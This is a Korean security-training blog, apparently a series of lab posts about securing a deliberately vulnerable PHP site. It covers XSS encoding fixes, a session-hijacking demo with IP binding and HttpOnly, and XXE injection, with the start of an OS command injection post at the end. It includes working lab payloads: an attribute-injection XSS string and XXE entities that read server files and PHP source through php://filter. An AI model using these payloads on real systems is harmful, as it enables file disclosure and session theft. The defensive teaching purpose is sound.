스크립트 삽입 후 Intercept Off 후 다시 해당 게시글을 확인하면 다음과 같이 스크립트가 발생하여 경고창이 발생하는 것을 알 수 있다.

실제 취약점 진단 시 이처럼 파일명 관련 파라미터가 취약한 부분이 있을 수 있어 많이 활용된다.

파일명에는 HTML 태그를 사용할 필요가 없으므로, HTML Entity Encoding 을 적용해준다.

action.php 소스코드에서 modify 부분의 oldfile 변수에 xss_html_entity 함수를 적용해준다.

만약 패턴이 있다면 정규표현식으로 필터링해줘도 된다. (확장자만 있고 다른 특수문자는 허용하지 않는)

< action.php 소스코드 oldfile 에 xss_html_entity 함수 적용 >

<?
	@session_start();
	header("Content-Type: text/html; charset=UTF-8");
	include ( './common.php' );

	$mode = $_REQUEST["mode"];
	$db_conn = mysql_conn();
	
	if($mode == "write") {
		$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
		$id = $db_conn->real_escape_string($_SESSION["id"]);
		$writer = xss_html_entity($db_conn->real_escape_string($_SESSION["name"]));
		$password = $db_conn->real_escape_string($_POST["password"]);
		$content = xss_html($db_conn->real_escape_string($_POST["content"]));
		$secret = $_POST["secret"];
		$uploadFile = "";

		if(empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

		if(!empty($_FILES["userfile"]["name"])) {
			$uploadFile = $_FILES["userfile"]["name"];
			$uploadPath = "{$upload_path}/{$uploadFile}";
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
				exit;
			}
		}   
		
		if($secret == "on") {
			$secret = "y";
		} else {
			$secret = "n";
		}
		
		$uploadFile = $db_conn->real_escape_string($uploadFile);
		$content = str_replace("\r\n", "<br>", $content);
		
		$query = "insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())";
		$db_conn->query($query);
	} else if($mode == "modify") {
		$idx = $_POST["idx"];
		$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
		$password = $db_conn->real_escape_string($_POST["password"]);
		$content = xss_html($db_conn->real_escape_string($_POST["content"]));
		$secret = $_POST["secret"];
		$uploadFile = xss_html_entity($_POST["oldfile"]);

		if(empty($idx) || empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

		if(!is_numeric($idx)) {
			echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
			exit();
		}		

		# Password Check Logic
		$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			exit();
		}

		if(!empty($_FILES["userfile"]["name"])) {
			$uploadFile = $_FILES["userfile"]["name"];
			$uploadPath = "{$upload_path}/{$uploadFile}";
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
				exit;
			}
		}
		
		if($secret == "on") {
			$secret = "y";
		} else {
			$secret = "n";
		}
		
		$content = str_replace("\r\n", "<br>", $content);
		$uploadFile = $db_conn->real_escape_string($uploadFile);

		$query = "update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}";
		$db_conn->query($query);
	} else if($mode == "delete") {
		$idx = $_POST["idx"];
		$password = $db_conn->real_escape_string($_POST["password"]);

		if(!is_numeric($idx)) {
			echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
			exit();
		}				
		
		# Password Check Logic
		$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			exit();
		}
		
		$query = "delete from {$tb_name} where idx={$idx}";
		$db_conn->query($query);
	}

	echo "<script>location.href='index.php';</script>";
	$db_conn->close();
?>

기존 oldfile 의 파라미터에 작성된 스크립트는 버프스위트를 활용하여 제거 후 다시 스크립트를 재작성한다.

버프스위트로 oldfile 에 스크립트 삽입 후 해당 게시글 확인 시 아래와 같이 HTML Entity Encoding이 적용되어 그대로 출력되는 것을 확인할 수 있다.

게시글 작성 및 수정 부분에서는 XSS 취약점에 대해 시큐어 코딩을 적용하였다.

My Page를 확인하면 Name, E-mail, Company 는 입력칸의 데이터가 사용자에게 출력되므로 XSS에 취약하며, Password 는 데이터가 출력되지 않아 취약하지 않다(DB에 저장된 내용이 출력되지 않음).

Name, E-mail, Company 부분은 HTML 태그를 사용할 필요가 없으므로 HTML Entity Encoding 을 적용해준다.

< mypage.php 소스코드 중 action 페이지 HTML Entity Encoding 적용 >

<?
	include_once("./common.php");

	$db_conn = mysql_conn();
	$id = $db_conn->real_escape_string($_GET["id"]);
	$gubun = $_POST["gubun"];

	if($gubun == "action") {
		$name = xss_html_entity($db_conn->real_escape_string($_POST["name"]));
		$email = xss_html_entity($db_conn->real_escape_string($_POST["email"]));
		$company = xss_html_entity($db_conn->real_escape_string($_POST["company"]));
		$password = $_POST["password"];
		if(!empty($password)) {
			$password = md5($password);
			$query = "update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'";
			$result = $db_conn->query($query);
		} else {
			$query = "update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'";
			$result = $db_conn->query($query);
		}
		echo "<script>alert('회원정보 수정완료');</script>";
	}

	$query = "select * from members where id='{$id}'";

	$result = $db_conn->query($query);
	$num = $result->num_rows;
?>

mypage.php 소스코드에 HTML Entity Enocoindg 적용 후 My Page 입력값에 XSS 공격을 시도해본다.

Name 입력값에 해커" onfocus=alert(1) autofocus=" 문자열을 삽입한다.

수정 후 My Page 를 확인하니 스크립트가 실행되지 않고 문자열 그대로 출력되는 것이 확인된다.

해당 페이지 소스코드를 확인하니 아래와 같이 더블 쿼터 " 가 &quot 로 치환된 것을 확인할 수 있다.

게시판 작성 및 수정, My Page 에 대해 XSS 공격에 대한 시큐어 코딩을 완료하였다.

실습5-7 세션 하이재킹 공격 대응 실습

XSS 공격을 통해 세션 하이재킹 공격을 할 수 있는데, 세션 하이재킹을 발생시키지 않으려면 근본적으로 XSS 공격을 막는 것이 최우선 순위이다.

세션 하이재킹 막는 방법

1) XSS 방어

2) HttpOnly 헤더 - document.cookie 를 통한 객체 접근 불가

3) 세션 발급 시 인증 IP 넣기 (IP 검증)

- 정상적인 ID 와 PW 가 담긴 요청자의 IP를 세션에 넣는다면 해당 IP는 안전한 IP로 볼 수 있다.

- A(1.1.1.1)가 웹 서버에 로그인 시 정상적인 요청을 통해 접근한다면, 1.1.1.1은 웹 서버에서 A의 IP로 인식되어 정상적인 사용자가 된다. 만약 B(2.2.2.2)가 A의 세션을 탈취하여 로그인하려해도, B의 IP는 1.1.1.1이 아니므로 A 계정으로 로그인이 성립되지 않는다. (최초 발급 IP와 IP가 달라 로그인 불가)

- 매번 페이지 접근할 때마다 검증해야하는 불편함이 있으며, 카페와 같이 공인 IP를 공유하는 네트워크 공간에서는 내부 사설 IP는 달라도 공격자와 피해자의 공인 IP가 같아 공격자는 충분히 해당 인증에 대해 우회가 가능하다.

크롬과 엣지 브라우저를 사용하여 세션 하이재킹을 시도한다.

크롬에서 관리자 계정으로 로그인 후 세션값을 복사한다.

관리자 계정 세션: 7afa259887da0bd69311348047090efe

관리자 계정 세션값을 복사해서 엣지 브라우저에 세션값을 붙여넣는다.

세션값을 붙여넣은 후 엣지 브라우저를 새로고침하면 관리자 계정으로 로그인된 것을 확인할 수 있다.

이를 통해 현재 세션 하이재킹이 가능하다는 것을 알 수 있다.

파일 경로: C:\APM_Setup\htdocs\insecure_website

< login.php 의 Action 부분 >

<?
  $db_conn = mysql_conn();
  
  if(!empty($_SESSION["id"])) {
    echo "<script>location.href='index.php';</script>";
    exit();
  }

  $id = $_POST["id"];
  $password = $_POST["password"];
  
  if(!empty($id) && !empty($password)) { 
    $id = $db_conn->real_escape_string($id);
    $password = md5($password);
    $query = "select * from members where id='{$id}' and password='{$password}'";
    $result = $db_conn->query($query);
    $num = $result->num_rows;

    if($num != 0) {
      $row = $result->fetch_assoc();
      $_SESSION["id"] = $row["id"];
      $_SESSION["name"] = $row["name"];
      echo "<script>location.href='index.php';</script>";
    } else {
      echo "<script>alert('아이디 혹은 패스워드가 틀렸습니다.');location.href='index.php?page=login';</script>";
      exit();
    }
  }
?>

SERVER 라는 슈퍼 변수를 통해서 REMOTE_ADDR (접속자의 IP)를 받아와서 IP를 세션에 넣는다.

<?
  $db_conn = mysql_conn();
  
  if(!empty($_SESSION["id"])) {
    echo "<script>location.href='index.php';</script>";
    exit();
  }

  $id = $_POST["id"];
  $password = $_POST["password"];
  
  if(!empty($id) && !empty($password)) { 
    $id = $db_conn->real_escape_string($id);
    $password = md5($password);
    $query = "select * from members where id='{$id}' and password='{$password}'";
    $result = $db_conn->query($query);
    $num = $result->num_rows;

    if($num != 0) {
      $row = $result->fetch_assoc();
      $_SESSION["id"] = $row["id"];
      $_SESSION["name"] = $row["name"];
      $_SESSION["ip"] = $_SERVER["REMOTE_ADDR"];
      echo "<script>location.href='index.php';</script>";
    } else {
      echo "<script>alert('아이디 혹은 패스워드가 틀렸습니다.');location.href='index.php?page=login';</script>";
      exit();
    }
  }
?>

IP를 세션에 넣었지만 IP를 검증하는 작업을 추가로 필요하므로 common.php 에서 IP를 검증하는 작업은 따로 추가해준다. (공통으로 호출하는 페이지에 대해 적용해준다.)

세션 발급받을 때 IP와 현재 접속자의 IP가 다른 경우 로그아웃하는 코드를 작성한다.

(로그인할 때 IP와 현재 접속 IP가 다르다면 세션을 폐기)

< common.php 소스코드 IP 검증 절차 추가 >

<?php
	header("Content-Type: text/html; charset=UTF-8;");

	$tb_name = "insecure_board";
	$upload_path = "upload";

	if(!empty($_SESSION["id"])) {
		if($_SESSION["ip"] != $_SERVER["REMOTE_ADDR"]) {
			echo "<script>location.href = 'logout.php'</script>";
			exit();
		}

	}

	function mysql_conn() {
		$host = "127.0.0.1";
		$id = "root";
		$pw = "test";
		$db = "pentest";
	
		$db_conn = new mysqli($host, $id, $pw, $db);

		return $db_conn;
	}

	function xss_html_entity($value) {
		$value = str_replace("<", "&lt", $value);
		$value = str_replace(">", "&gt", $value);
		$value = str_replace("\"", "&quot", $value);

		return $value;
	}

	function xss_html($value) {
		// 웹사이트에서 다운받아 적당한 곳에 압축 푸세요.
		require_once('./htmlpurifier/library/HTMLPurifier.auto.php');

		// 기본 설정을 불러온 후 적당히 커스터마이징을 해줍니다.
		$config = HTMLPurifier_Config::createDefault();
		$config->set('Attr.EnableID', false);
		$config->set('Attr.DefaultImageAlt', '');

		// 인터넷 주소를 자동으로 링크로 바꿔주는 기능
		$config->set('AutoFormat.Linkify', true);

		// 이미지 크기 제한 해제 (한국에서 많이 쓰는 웹툰이나 짤방과 호환성 유지를 위해)
		$config->set('HTML.MaxImgLength', null);
		$config->set('CSS.MaxImgLength', null);

		// 다른 인코딩 지원 여부는 확인하지 않았습니다. EUC-KR인 경우 iconv로 UTF-8 변환후 사용하시는 게 좋습니다.
		$config->set('Core.Encoding', 'UTF-8');

		// 필요에 따라 DOCTYPE 바꿔쓰세요.
		$config->set('HTML.Doctype', 'XHTML 1.0 Transitional');

		// 플래시 삽입 허용
		$config->set('HTML.FlashAllowFullScreen', true);
		$config->set('HTML.SafeEmbed', true);
		$config->set('HTML.SafeIframe', true);
		$config->set('HTML.SafeObject', true);
		$config->set('Output.FlashCompat', true);

		// 최근 많이 사용하는 iframe 동영상 삽입 허용
		$config->set('URI.SafeIframeRegexp', '#^(?:https?:)?//(?:'.implode('|', array(
			'www\\.youtube(?:-nocookie)?\\.com/',
			'maps\\.google\\.com/',
			'player\\.vimeo\\.com/video/',
			'www\\.microsoft\\.com/showcase/video\\.aspx',
			'(?:serviceapi\\.nmv|player\\.music)\\.naver\\.com/',
			'(?:api\\.v|flvs|tvpot|videofarm)\\.daum\\.net/',
			'v\\.nate\\.com/',
			'play\\.mgoon\\.com/',
			'channel\\.pandora\\.tv/',
			'www\\.tagstory\\.com/',
			'play\\.pullbbang\\.com/',
			'tv\\.seoul\\.go\\.kr/',
			'ucc\\.tlatlago\\.com/',
			'vodmall\\.imbc\\.com/',
			'www\\.musicshake\\.com/',
			'www\\.afreeca\\.com/player/Player\\.swf',
			'static\\.plaync\\.co\\.kr/',
			'video\\.interest\\.me/',
			'player\\.mnet\\.com/',
			'sbsplayer\\.sbs\\.co\\.kr/',
			'img\\.lifestyler\\.co\\.kr/',
			'c\\.brightcove\\.com/',
			'www\\.slideshare\\.net/',
		)).')#');

		// 설정을 저장하고 필터링 라이브러리 초기화
		$purifier = new HTMLPurifier($config);

		// HTML 필터링 실행
		$html = $purifier->purify($value);

		return $html;
	}

?>

1개의 로컬 PC에서 크롬과 엣지로 실습 시, 공격자와 피해자의 IP가 동일하므로 크롬의 사용자 세션으로 엣지에서 로그인해도 세션이 폐기되지 않는다.

만약 VMWare 활용해 공격자와 피해자가 서로 다른 IP를 가진 경우에는 실습하면 어떻게 될까?

현재 호스트 PC의 IP는 192.168.56.1 이며, VMWare는 192.168.197.138 로 서로 IP가 다르다.

크롬에서 관리자 계정으로 로그인 후 세션값을 복사한다.

관리자 세션: 2158c9b798278091cf2166ee4ce387f4

위 세션 값을 복사 후 VMWare 에서 해당 세션값을 붙여넣는다.

세션값을 붙여넣은 후 새로고침을 해도 관리자 계정으로 로그인되지 않는다.

이렇게 IP 검증을 통해서 세션 하이재킹을 방지하는 방법이 있다.

하지만 IP검증의 허점은 위에 기재했듯이 카페와 같이 동일한 공인 IP 를 공유하는 네트워크 공간에서는 내부 사설 IP가 달라도 공격자와 피해자의 공인 IP가 같아 공격자가 충분히 해당 인증에 대해 우회가 가능하다. (로컬 네트워크, 공유기 망에서 세션 탈취가 가능)

그러므로 document.cookie 객체에 접근이 불가능하도록 HttpOnly 옵션을 적용하는 것이 하나의 방법이다.

현재 실습환경에서는 php.ini 파일 내 httponly 옵션을 On 으로 설정하면 된다.

경로: C:\APM_Setup\php.ini

php.ini 파일 저장 후 APM Setup 에서 Apache 서버를 껏다가 키면 된다.

현재 insecure_website 내에는 XSS 에 대한 시큐어코딩이 적용되어 스크립트 작성이 어려우므로, 임의의 php 파일을 생성하여 document.cookie 를 출력하는 스크립트를 작성한다.

경로: C:\APM_Setup\htdocs\insecure_website\xss.php

< xss.php >

<script>alert(document.cookie);</script>

127.0.0.1/insecure_website/xss.php 에 접속을 시도한다.

아래와 같이 document.cookie 객체에 접근이 불가하여 빈값이 출력되는 것을 확인할 수 있다.

버프스위트를 켜고 Intercept On 후 127.0.0.1/insecure_website 접속한다.

위와 같이 세션값이 확인되는데, 이를 삭제 후 Forward(Ctrl + F) 해준다.

Set-Cookie 에 path=/; HttpOnly 가 확인된다.

이를 통해 웹 브라우저에서 document 객체에 접근을 할 수 없도록 설정되어 있는 것을 알 수 있다.

버프스위트 응답값에 document.cookie 를 호출하는 스크립트를 작성 후 Intercept Off 를 하게되면 아래와 같이 빈 값이 경고창으로 출력된다.

HttpOnly 를 적용하게 되면 document 객체에 접근을 할 수 없기 때문에, document.cookie 를 활용하는 XSS 공격은 세션 하이재킹이 불가능하다.

참고

https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9

정규표현식 참고

https://hamait.tistory.com/342

XXE Injection

Security Engineer — Sat, 4 Jan 2025 22:00:39 +0900

1) XXE Injection이란 무엇인가?

XML External Entity

XML 외부 개체 주입 → XXE Injection

XML : 데이터를 효율적으로 주고 받기 위해 만들어진 마크업 언어

클라이언트와 서버가 통신할때 어떤 데이터 형식으로 주고 받을지 결정하게되는데, 그 형식이 XML 이다.

최근에는 XML → JSON 으로 데이터 형식이 많이 변경되었다. (JSON 등장 이후 XML 활용빈도 줄어듬)

Entity : 개체 (특정 문자열을 사용할 수 있도록 하는 상용구 역할, 참조) (DTD에 대한 이해가 필요)

XXE Injection이란

XML을 통해 데이터를 주고 받는 기능에 대해서 외부 개체를 주입하는 공격 (외부 개체 참조 - 외부 파일들을 호출)

이를 통해 서버 내 자원(설정파일, 소스코드 등)을 무단 열람할 수 있게된다.

이외에도 SSRF(Server Side Request Forgery), DoS 공격도 가능하다.

2) 공격 대상

Injection 공격은 기능에 따라 발생되는 취약점이 다르다.

SQL Injection

- 웹 어플리케이션과 DB가 연결된 기능에 대해서 사용자 입력값에 SQL 구문을 삽입하여 공격을 한다.

- DB와 연결을 통해 값을 얻어와서 사용자에게 값을 반환하는 기능을 이용한다.

OS Command Injection

- 사용자 입력값을 통해서 시스템 명령을 실행할 수 있는 기능에, 시스템 명령어를 삽입하여 공격을 한다.

- 관리자 콘솔에서 사용하는 시스템 명령어 실행 기능을 이용한다. (백업, 특정 IP에 ping 요청 등)

- 일반적인 웹 사이트에서는 OS Command Injection 취약점을 발견하기 어렵다.

XXE Injection

- XML Parser 기능이 있는 어플리케이션에 대해서 공격을 시도, SYSTEM 사용하여 외부 개체 참조

- 어플리케이션 이용 시 메시지 바디에 XML 형태로 데이터 전송하는지 확인(XML 파싱 기능 확인)

- 최근에는 JSON 형태를 많이 사용하여 거의 없다.(기존 레거시 시스템에는 존재)

3) 공격 원리 분석

정상적인 XML Parser

- 어플리케이션이 XML 파서 기능을 수행, XML 형식의 데이터를 정상적으로 받아서 어플리케이션으로 반환한다.

- 사용자가 어플리케이션 메시지 바디에 직접 XML을 전송 할 수도 있다.

- 사용자가 어플리케이션에 문서 형태로 업로드 할 수도 있다.

- 외부 참조 없이 XML 파서 기능만 수행한다.

비 정상적인 XML Parser

- 어플리케이션이 XML 파서 기능을 수행, XML 내 외부 참조하는 문장을 삽입, 외부 참조 후 어플리케이션으로 반환

- XML 자체에서 외부 개체 참조 (DTD)

- 외부 개체(External Entity) 참조가 불가능한 상황에서는 XXE Injection 공격이 불가능하다.

DTD(Document Type Definition) : 문서 타입 정의 (XML 문서에서 사용할 수 있는 구조, 요소, 속성을 정의)

Entity : 특정 문자열을 사용할 수 있도록 해주는 상용구 역할을 한다. (내부, 외부 엔티티가 존재)

Entity(엔티티)
특수 문자 또는 자주 사용되는 정보들을 선언해 놓고 XML 문서나 DTD에서 참조하여 사용하는 것을 의미.
엔티티를 참조하게 되면 파싱을 할 때 그 엔티티 참조는 선언해 놓은 값으로써 대체되어 지며, XML에서 엔티티는 문서의 단위이고 한 글자에서부터 문서 전체에 이르기까지혹은 또 다른 문서에 대한 참조까지를 의미한다.

Entity 참조란?
파서에게 포함시키기를 원하는 문서의 위치를 알려주고 파서가 가져오는 것.

참고: https://ly91.tistory.com/12

< 내부 개체 & 외부 개체 >

내부 엔티티

- 문자열이 XML 문서 내부에 존재

- 내부에서 문자열 참조

외부 엔티티

- SYSTEM 사용(외부 파일 호출할 수 있도록 외부 개체 사용)

정상적인 입력 값

- XML 형식으로 요청

비 정상적인 입력 값

- 외부 엔티티를 참조할 수 있도록 DTD 선언

- SYSTEM 사용, 대상 서버가 Linux/Unix 시스템의 경우 etc/passwd 를 자주 참조한다.

실습4-1 XXE Injection 공격 실습

XXE Injection 공격 실습을 위해 127.0.0.1/insecure_website 접속 후 admin 계정으로 로그인한다.

우측 상단의 XML Parser 를 클릭한다.

아래 XML 코드를 XML Input에 입력 후 파싱해본다.

<?xml version="1.0" encoding="UTF-8"?>
<test>
<person>
<name>administrator</name>
</person>
</test>

아래와 같은 결과가 출력되는 것을 확인할 수 있다.

name administrator 가 출력된다.

< 내부 개체 참조 >

내부 개체를 먼저 파싱해본다.

administrator 문장이 출력되면 내부 개체가 참조되는 것으로 볼 수 있다.

아래 코드를 입력 후 파싱한다.

<!DOCTYPE a[
<!ENTITY str "administrator">
]>
<print>&str;</print>

아래와 같이 str administrator 가 출력되었다.

< 외부 개체 참조 >

외부 개체를 참조하기 위해서는 서버 내 특정 파일이 있어야한다.

기존 SQL Injection 실습 시 활용했던 secret_info.txt 파일을 활용한다. (경로: C:\information\secret_info.txt)

아래 코드를 입력 후 파싱한다.

<!DOCTYPE a[
<!ENTITY str SYSTEM "file:///information/secret_info.txt">
]>
<print>&str;</print>

아래와 같이 파일 내용이 출력되는 것을 확인할 수 있다.

대상 서버가 Windows 시스템의 경우에는 Linux/Unix 시스템보다 공격에 좀 더 제약이 있다.

대상 서버가 Linux/Unix 시스템의 경우에는 공격을 더 활발하게 할 수 있다.

외부에 파일을 호출 할 수 있다면, Linux/Unix 시스템은 참조할 수 있는 파일이 다양하다. (대부분 파일 형태로 존재)

→ 프로세스도 파일로 존재, 각 계정의 홈 디렉터리 확인 가능, 히스토리 파일 확인하여 작업내역 확인 가능, 작업 내역을 통해 설정 파일 위치 등을 파악할 수 있게된다.

만약 내부 파일에 < (꺾쇠)가 있는 경우에는 어떻게 될까?

XML에서 < (꺾쇠)는 메타문자로 XML 요소의 시작을 의미한다.

secret_info.txt 파일 내 내용을 <This is secret_information 로 변경해본다.

다시 XML 파서에 아래 코드를 입력 후 파싱해본다.

<!DOCTYPE a[
<!ENTITY str SYSTEM "file:///information/secret_info.txt">
]>
<print>&str;</print>

아래와 같이 여러 에러가 발생하게 되며 파싱이 불가능해진다.

< (꺾쇠)가 포함된 소스코드를 참조하게 되면 위와 같이 에러가 발생하게 된다.

서버 사이드 스크립트에서는 < (꺾쇠)를 사용하는데, 그럼 소스코드를 참조할 수 없을까?

JSP : <%

PHP : <?

ASP : <%

→ 인코딩하면 가능

PHP는 BASE64로 인코딩하면 가능하다.

BASE64 인코딩 코드가 추가된 아래 코드를 입력 후 파싱한다.

php://filter/read=convert.base64-encode/resource=

<!DOCTYPE a[
<!ENTITY str SYSTEM "php://filter/read=convert.base64-encode/resource=file:///information/secret_info.txt">
]>
<print>&str;</print>

아래와 같이 BASE64로 인코딩된 문자열이 출력되는 것을 확인할 수 있다.

BASE64로 인코딩된 문자열은 CyberChef 를 활용하거나, 버프스위트의 디코더 기능을 활용하면 디코딩이 가능하다.

CyberChef 바로가기

좌측의 From Base64 더블 클릭 후 Input에 인코딩 문자열을 입력하면 Output에 디코딩된 문자열이 출력된다.

버프스위트의 Decoder 클릭 후 Decode as를 Base64로 설정 후 문자열을 입력하면 순수 문자열을 확인할 수 있다.

< 외부 개체 참조 - 소스코드 >

외부에서 참조하는 Base64로 인코딩된 소스코드를 디코딩해본다.

XML Parser 페이지의 소스코드 위치를 파악 후 파싱해본다. (경로: C:\APM_Setup\htdocs\insecure_website\xmlparser.php)

아래 코드를 입력 후 파싱한다.

<!DOCTYPE a[
<!ENTITY str SYSTEM "php://filter/read=convert.base64-encode/resource=file:///APM_setup/htdocs/insecure_website/xmlparser.php">
]>
<print>&str;</print>

아래와 같이 BASE64로 인코딩된 문자열이 출력되는 것을 확인할 수 있다.

CyberChef 에서 디코딩하니 아래와 같이 소스코드가 출력된다.

버프스위트에서도 디코딩하니 아래와 같이 소스코드가 출력된다.

XXE Injection을 사용하여 웹 서버 내 자원을 무단으로 열람할 수 있는 실습을 진행해보았다.

4) 대응 방안

1. JSON 데이터 형식으로 기능 구현 (변경할 수 있으면 하되, 무조건은 아님)

2. DTD 및 외부 엔티티 비활성화

3. XML Parser 기능 제거

< 외부 개체 참조 비활성화 >

JAVA에서 factory.setFeature 를 사용한다.

→ true 로 설정하여 외부 엔티티에 외부 자원을 포함한 경우 예외가 발생하도록 구현한다.

PHP에서 libxml_disable_entity_loader 를 사용한다.

→ 외부 엔티티를 로그하는 능력을 disable 할 것인지에 대한 설정. false는 외부 엔티티를 가져올 수 있으며, XXE Injection 이 가능하므로 true 로 설정해야한다.

각 어플리케이션에 따라 적용되는 방식이 다르므로 Server Side Script 에 맞는 비활성화 방식을 고려해야한다.

실습4-2 취약 환경 시큐어 코딩 적용 실습

XML Parser 기능이 필요없다면 제거하는게 제일 좋은 방법이다.

하지만 XML Parser 기능을 부득이하게 사용해야 하는 경우, 외부 개체를 참조하는 기능을 비활성화하면 된다.

XXE Injection이 발생되었던 XML Parser 페이지에 대해 시큐어 코딩을 진행한다.

소스코드 위치: C:\APM_Setup\htdocs\insecure_website

< xmlparser.php 의 Action 페이지 >

<?
	include_once("./common.php");
	$xml = $_POST["xml"];

	if(!empty($xml)){
		$result = simplexml_load_string($xml);
	}
?>

/* HTML 코드 생략 */

	<? if(!empty($result)) { ?>
	<hr>
	<?
	print_r($result);
	?>
	<? } ?>

XML을 사용자로부터 받아온 후 XML 값이 있는 경우, XML을 출력하는 소스코드이다.

< xmlparser.php 의 Action 페이지 - 시큐어 코딩 적용 >

<?
	include_once("./common.php");
	$xml = $_POST["xml"];

	libxml_disable_entity_loader(true);

	if(!empty($xml)){
		$result = simplexml_load_string($xml);
	}
?>

/* HTML 코드 생략 */


	<? if(!empty($result)) { ?>
	<hr>
	<?
	print_r($result);
	?>
	<? } ?>

libxml_disable_entity_loader(true); 추가 후 XML Parser 페이지에서 XXE Injection 을 시도한다.

아래 XML 코드를 입력 후 파싱한다.

<!DOCTYPE a[
<!ENTITY str SYSTEM "php://filter/read=convert.base64-encode/resource=file:///information/secret_info.txt">
]>
<print>&str;</print>

아래와 같이 failed to load external entity 를 확인할 수 있다.

외부 엔티티 참조가 불가능한 것이다.

DTD 선언 및 내부 개체 참조는 가능하다.

아래 XML 코드를 입력 후 파싱한다.

<!DOCTYPE a[
<!ENTITY str "XXE Injection Secure Coding Complete">
]>
<print>&str;</print>

아래와 같이 입력한 문자열이 출력되는 것을 확인할 수 있다.

취약한 어플리케이션이 있다면 취약 여부를 테스트 후, 각 어플리케이션에 맞는 시큐어 코딩 구문을 작성한다.

각 어플리케이션마다 적용하는 방법이 다르며, 특히 SQL Injcetion, XSS, 파일 업로드/다운로드 공격은 어플리케이션이 달라도 공통적인 방법이 있으니 각각의 공격방법 및 대응방안을 숙지하도록 한다.

XXE Injection 3줄 요약
- XML 이라는 데이터 형식을 사용하는 어플리케이션 기능에 외부 개체를 주입하는 공격
- SYSTEM 키워드 사용하여 외부 개체 참조하여 서버 내 파일 열람
- 대응방안: JSON으로 데이터 형식 기능 구현, DTD 및 외부 엔티티 비활성화, XML Parser 기능 제거

참고

https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9

OS Command Injection

Security Engineer — Fri, 3 Jan 2025 22:00:36 +0900

1) OS Command Injection이란 무엇인가?

시스템 명령어(운영체제 명령어)를 주입하는 공격

사용자 입력값에 시스템 명령어를 주입해서 원격으로 시스템 명령어를 실행할 수 있는 공격이다.

공격자 의도대로 서버를 제어할 수 있게 된다.

웹 서버에 대해 제어권을 얻는다 = 시스템 명령어 실행이 가능하다 = 서버 내 중요정보 열람, 수정, 삭제 가능

공격자는 이러한 공격을 통해 기업으로부터 돈을 뜯어낸다.

시스템 명령어 실행을 통해서 단순히 해당 공격에서 끝나는 것이 아닌 2차, 3차 피해가 추가로 발생할 가능성이 있다.

파일 업로드 취약점과 비슷한 영향력을 가지고 있다. (웹쉘의 주요기능 - 시스템 명령어 실행)

2) 공격 대상

Injection 공격은 기능에 따라 발생되는 취약점이 다르다.

SQL Injection

- 웹 어플리케이션과 DB가 연결된 기능에 대해서 사용자 입력값에 SQL 구문을 삽입하여 공격을 한다.

- DB와 연결을 통해 값을 얻어와서 사용자에게 값을 반환하는 기능을 이용한다.

OS Command Injection

- 사용자 입력값을 통해서 시스템 명령을 실행할 수 있는 기능에, 시스템 명령어를 삽입하여 공격을 한다.

- 관리자 콘솔에서 사용하는 시스템 명령어 실행 기능을 이용한다. (백업, 특정 IP에 ping 요청 등)

- 일반적인 웹 사이트에서는 OS Command Injection 취약점을 발견하기 어렵다.

3) SQL Injection vs OS Command Injection

>> 위험도가 높은 취약점은?

SQL Injection vs OS Command Injection

위험도는 OS Command Injection이 더 높다. (시스템 명령어를 삽입하기 때문에)

위 2개의 공격은 삽입되는 페이로드 및 공격자가 얻을 수 있는 결과물이 다르다.

차이점

SQL Injection → SQL 구문을 삽입하는 취약점

OS Command Injection → 시스템 명령어를 삽입하는 취약점

주요 행위

SQL Injection → 중요 데이터 탈취

OS Command Injection → 중요 데이터 탈취, 인접 네트워크 침투, 해당 서버 점유 등

OS Command Injection이 SQL Injection보다 위험도가 높은데 SQL Injection이 더 주목받는 이유는 무엇일까?

→ OS Command Injection이 발생하기 위한 조건은 사용자 입력값을 통해 시스템 명령어를 실행하는 기능이 있어야 한다. 하지만 일반적인 웹 사이트에는 이런 기능이 존재하지 않고 드물게 관리자 콘솔에 이런 기능이 존재하므로 취약점 발생 확률이 굉장히 낮다. 오늘날의 대부분 웹 서비스는 DB를 사용하므로 SQL Injection이 취약점 발생 확률이 훨씬 높다.

→ 방화벽 등장 이후 80/443 포트만 허용하게 되어 웹 해킹이 주목받게 되는 이유와 유사하다.

4) 공격 원리 분석

1. 공격자는 사용자 입력값에 시스템 명령어를 주입

2. 사용자 입력값 + 주입된 시스템 명령어를 조합 (입력 값 검증 없는 경우)

3. 서버에 시스템 명령어를 보내 결과를 반환받는다.

대부분 Command Injection 공격이 가능한 곳은 관리자 페이지가 많은데, 관리자 페이지는 입력값 검증이 소홀할 수 있다. (인증절차를 거치고 들어오는 인가된 사용자라는 판단하에 보안에 소홀할 수 있다.)

한줄에서 다수의 시스템 명령어를 주입하기 위해서 메타 문자를 입력한다.

